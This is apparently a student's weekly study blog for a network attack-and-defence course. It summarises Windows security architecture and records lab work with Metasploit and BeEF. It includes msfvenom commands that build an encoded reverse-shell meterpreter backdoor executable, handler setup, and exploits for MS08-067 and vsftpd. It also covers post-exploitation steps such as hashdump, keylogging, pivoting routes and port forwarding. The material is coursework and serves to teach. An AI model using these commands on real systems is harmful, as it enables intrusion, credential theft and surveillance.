zoukankan      html  css  js  c++  java
  • 20169208 2016-2017-2 《网络攻防实践》第七周学习总结

    20169208 2016-2017-2 《网络攻防实践》第七周学习总结

    教材学习内容总结

    Windows操作系统的基本结构:
    分为运行于处理器特权模式的操作系统内核,以及运行在处理器非特权模式的用户空间代码。
    Windows操作系统内核基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
    Windows操作系统在用户态的代码模块:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
    Windows操作系统内核中实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。

    Windows安全体系结构:
    Windows操作系统基于引用监控器模型来实现基本的对象安全模型。其中最为核心的是位于内核中的SRM安全引用监控器,以及位于用户台的LSASS安全服务。
    Windows身份认证机制:
    Windows操作系统中以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户,用户组,和计算机三大类。其中用户组是为了简化用户管理而引入的用户账户容器。

    Windows远程攻击技术:
    远程口令猜测与破解攻击(最简单方法),攻击Windows网络服务,攻击Windows客户端及用户。

    Metasploit
    完全开源的渗透测试软件。Metasploit软件采用开发框架和模块组件的可拓展模型。以Ruby语言编写的MSF库最为整个软件的基础核心,为渗透测试组件的开发与测试提供平台。Metasploit提供多种用户接口,包括console交互终端,命令行程序运行,web交互界面以及GUI图形化界面。

    教材实践

    使用Metasploit软件攻击Windows上的MS08-067
    首先打开Metasploit软件,并使用软件中针对Windows上的MS08-067的攻击库

    RHOST为靶机的IP地址
    LHOST为攻击机的IP地址



    获得靶机的shellcode,并截取靶机当前的电脑屏幕

    截取靶机屏幕结果图

    教材学习中的问题和解决过程

    问题:Metasploit handler failed to bind

    解决方法:经过检查,实际上是攻击机的IP地址改变了,查看攻击机的IP地址后,修改LHOST,问题解决。

    视频学习总结

    1、kali漏洞检索与利用

    (1)searchsploit

    列举出漏洞和文件地址,相对目录是/usr/share/exploitdb/platforms

    (2)pattern create
    测试漏洞

    armitage
    结合MSF进行利用

    (3)jboss-autopwn-linux/win
    专门针对Jboss的漏洞利用工具

    (4)ikat
    自动化开启,等待目标访问中招。

    (6)termineter
    评估智能电表的安全性。

    2、kali漏洞利用之Metasploit基础

    (1)
    Metasploit-framework在usr/share/metasploit-framework目录下
    该目录下的modules目录

    auxiliary 辅助模块
    encoders 供msfencode编码工具使用
    exploit 攻击模块
    payloads 攻击载荷
    post 后渗透阶段模块
    (2)
    msfpayload:用来生成payload或者shellcode
    搜索的时候可以使用msfpayload -l |grep "windows"
    -o 列出所需参数

    msfencode:
    msf中的编码器

    msfconsole:
    开启Metasploit的console,开启命令行界面。
    (3)测试实例
    扫描目标主机开启的服务

    针对vsftpd搜索

    发现有可利用的

    选择exploit参数

    set RHOST 172.16.6.119
    

    设置payload

    set payload cmd/unix/interact 
    

    对目标进行攻击测试,绿色标志攻击有效。

    cat获得目标主机的一些文件

    3、kali漏洞利用之meterpreter

    meterpreter模块,Metasploit框架中的一个拓展模块,作为一出成功后的攻击载荷使用。
    常用的命令:
    background 将当前会话放置后台
    load/use 加载模块
    interact 切换进一个信道
    migrate 迁移进程
    run 执行一个已有的模块
    resource 执行一个已有的rc脚本,可以自定义
    (1)生成meterpreter后门
    msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.6.119 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
    在这之前,设置参数

    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    show options
    set LPORT 2333
    

    msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
    

    (2)开启handler,打开监听

    set LHOST 172.16.6.91 #本地IP
    exploit
    

    (3)在目标主机打开door1.exe
    (4)返回一个shell
    (5)执行常见命令
    sysinfo 查看系统信息
    hashdump 抓取哈希
    screenshot 抓取屏幕
    keyscan_start 键盘记录
    keyscan_dump
    keyscan_stop
    load 拓展工具

    4、漏洞利用之Metasploit后渗透测试

    (1)查看跳板机的网卡

    ifconfig
    

    (2)添加路由表

    run autoroute -s 10.0.0.1
    

    (3)开socks代理

    search socks
    use auxiliary/server/socks4a
    axploit
    
    

    (4)通过background和sessions -i可以自由切换进入session
    (5)输入run可以看待在meterpreter上可以做的很多命令
    (6)通过run post/可以看到后渗透测试的模块
    (7)查看内网信息

    run arp_scanner -r 目标IP地址段
    

    内网端口转发

    upload lcx.exe c:\ 上传到C盘根目录
    

    5、漏洞利用之BeEF

    对XSS漏洞的利用,BeeF是浏览器攻击框架的简称,专注于浏览器端的渗透工具。
    使用3000端口
    默认用户名:beef
    默认密码:beef
    http://127.0.0.1:3000/ui/authentication

    http://127.0.0.1:3000/demos/basic.html

    可以在commands模块发送攻击命令
    颜色不同代表攻击模块是否可用,隐蔽性强度。
    (1)试验:
    JavaScript弹出窗口

    效果图

    (2)proxy
    借助目标浏览器,访问目标可以访问的内容
    使用说明:

    (3)beef和Metasploit结合

    cd /usr/share/beef-xss
    

    修改该目录下config.yaml中,metasploit改为true

    cd extensions/metasploit
    

    修改该目录下config.yaml中,host和callback_host,都设置为主机IP地址,修改custom路径为/usr/share/metasploit-framework/
    完成后,打开msfconsole

    load msgrpc ServerHost=自己主机IP地址 Pass=abc123(默认密码)
    

    进入beef-xss根目录

    cd /usr/share/beef-xss
    
    

    执行

    ./beef -x
    

    加载完成后重启服务

    service beef-xss restart
    

    完成后重新加载网页,发现多了很多Metasploit模块

    视频学习中的问题和解决过程

    问题:生成meterpreter后门出错,找不到msfpayload和msfencode命令

    解决方法:新版kali中没有msfpayload和msfencod,使用msfvenom,msfvenom结合了payload 和encode的功能

    部分参数:
    -p,--payload <负载>负载使用。指定' - '或标准输入使用自定义负载
    -l,--list [的module_type]列出一个模块类型。选项包括:有效载荷,编码器,空指令,所有
    -n,--nopsled <长度> [长度]大小对有效载荷在前面加上nopsled
    -f,--format <格式>输出格式(使用--help-格式列表)
    -e,--encoder [编码器]编码器使用
    -a,--arch <架构>的架构使用
    --platform <平台>有效载荷的平台
    -s,--space <长度>所得有效负载的最大尺寸
    -b,--bad-字符<列表>字符列表,以避免例如:' X00 XFF“
    -i,--iterations <计数>的次数,以有效负载进行编码
    -c,--add代码<路径>指定一个额外的win32 shellcode的文件,包括
    -x,--template <路径>指定一个自定义的可执行文件作为模板使用
    -k,--keep保存模板行为和有效载荷为一个新的线程注入
    --payload-选项列表中的有效载荷的标准选项
    -o,--out <路径>保存有效载荷
    -v,--var名<名>指定用于某些输出格式的自定义变量名称
    -h,--help显示此消息
    --help-格式列出可用的格式
    需要注意的是:
    1、-a
    arch:x86  是指生成的payload只能在32位系统运行
    arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统
    arch:x64  是指生成的payload只能在64位系统运行
    注意:有的payload的选项为多个:arch:x86_64,x64
    需要-a参数选择一个系统架构。
    2、-e
    选择一个encode框架
    有多个encode框架:

    Framework Encoders
    ==================
    
        Name                          Rank       Description
        ----                          ----       -----------
        cmd/echo                      good       Echo Command Encoder
        cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
        cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
        cmd/perl                      normal     Perl Command Encoder
        cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
        cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
        generic/eicar                 manual     The EICAR Encoder
        generic/none                  normal     The "none" Encoder
        mipsbe/byte_xori              normal     Byte XORi Encoder
        mipsbe/longxor                normal     XOR Encoder
        mipsle/byte_xori              normal     Byte XORi Encoder
        mipsle/longxor                normal     XOR Encoder
        php/base64                    great      PHP Base64 Encoder
        ppc/longxor                   normal     PPC LongXOR Encoder
        ppc/longxor_tag               normal     PPC LongXOR Encoder
        sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
        x64/xor                       normal     XOR Encoder
        x64/zutto_dekiru              manual     Zutto Dekiru
        x86/add_sub                   manual     Add/Sub Encoder
        x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
        x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
        x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
        x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
        x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
        x86/bmp_polyglot              manual     BMP Polyglot
        x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
        x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
        x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
        x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
        x86/countdown                 normal     Single-byte XOR Countdown Encoder
        x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
        x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
        x86/nonalpha                  low        Non-Alpha Encoder
        x86/nonupper                  low        Non-Upper Encoder
        x86/opt_sub                   manual     Sub Encoder (optimised)
        x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
        x86/single_static_bit         manual     Single Static Bit
        x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
        x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    

    kali视频中实际采用框架为cmd/powershell_base64

    执行命令对应修改为:

    msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
    

    成功

    其他

    本周学习了针对Windows操作系统的攻击和安全防范。

    上周错题总结

    1、下面哪些Linux 命令可以ASCII码和16进制单字节方法输出Hello.java的内容?
    A .
    od -b -tx1 Hello.java
    B .
    od -tcx1 Hello.java
    C .
    od -tc -tx1 Hello.java
    D .
    od -tbx1 Hello.java
    正确答案为BC
    2、ARP欺骗破坏了信息的完整性。()
    A .
    True
    B .
    False
    正确答案为B
    3、netfilter/iptables的规则表中,可以进行源IP和端口转换的是?
    A .
    filter表
    B .
    trans表
    C .
    nat表
    D .
    mangle表
    正确答案: C

    学习进度条

    学习目标(本学期)

    完成网络攻防课程的学习,完成各种攻防实践操作。

    第二周进度

    • 《网络攻防技术与实践》课程学习了第一章和第二章
    • 学习kali视频5个
    • 详细查找了解了两个网络安全工具
    • 查找两个黑客资料

    第三周进度

    • 学习视频6-10
    • 学习课本第三章
    • 完成第三章课后作业

    第四周进度

    • 网络嗅探的理论与工具
    • 网络协议分析的理论与工具

    第五周进度

    • Web架构
    • HTTP协议
    • Web应用安全
    • Web浏览器安全

    第六周进度

    • 理解TCP/IP攻击的原理

    • 了解安全模型

    • 掌握常见的网络安全

    • 上周目标完成情况
      完成

    • 本周学习计划

    • 掌握windows系统架构

    • 掌握windows系统安全架构和机制

    • 掌握windows系统安全攻防技术

    • 牚握Metasploit的使用

    学习内容 学习时间
    课本7章学习 5小时
    kali视频21-25 5小时
    实践练习 4小时
    整理写博客 3小时

    参考资料

  • 相关阅读:
    07组 Beta冲刺 (2/5)
    第07组 Beta冲刺 (1/5)
    第07组 Alpha冲刺 总结
    ES相关
    集群与分布式
    idea使用总结
    Tomcat配置与启动与访问
    Web基础
    B/S与C/S架构
    一周视频学习总结
  • 原文地址:https://www.cnblogs.com/k-yukiho/p/6672220.html
Copyright © 2011-2022 走看看